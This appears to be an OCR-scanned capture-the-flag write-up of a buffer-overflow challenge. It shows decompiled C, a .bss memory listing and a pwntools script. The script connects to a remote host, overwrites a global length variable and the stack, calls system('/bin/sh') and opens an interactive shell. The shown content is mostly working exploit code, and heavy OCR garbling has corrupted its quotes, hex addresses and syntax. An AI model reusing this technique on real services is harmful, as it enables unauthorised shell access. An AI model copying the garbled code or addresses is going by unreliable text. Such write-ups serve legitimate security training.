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int message()

{
char s; /f [sp+18h] [bp-38h]E1

n = 18;

puts{”you can leave some message here:™);
fgets(A, 68, stdin);

puts{”your name please:"};

fgets(&s, n, stdin);

return puts{”Thank you™);
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.bss:0E04A0B8H ; char A[4O]

.bss:0EBL4ABEO A db 28h dup(?)
.bss:080400A8 ; int n

.bss:0E0B4ABAE n dd ?
.bss:O08BLABAR

.bss:O8BLABAC align 2@h
.bss B8 04ABC A public choice
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from pwn import *
r=remote('182.254.217.142"',10001)

#create '/bin/sh' in bss
r.recvuntil('your choice:\n")
r.sendline('1")

payloadl="A'*40+p32(0x80)+"'/bin/sh’ #exploit the bss
r.recvuntil('you can leave some message here:\n')

r.sendline(payloadl)

elf=ELF('./cgpwna')
sysadr=elf.symbols['system'] #find the adr of system

payload2="A"*(0x30+0x4)+p32(sysadr)+p32(OxDEADBEEF)+p32(0x0804AGAD)
#tuse system('/bin/sh') and rand return address
r.recvuntil('your name please:\n')

r.sendline(payload2)

r.interactive()
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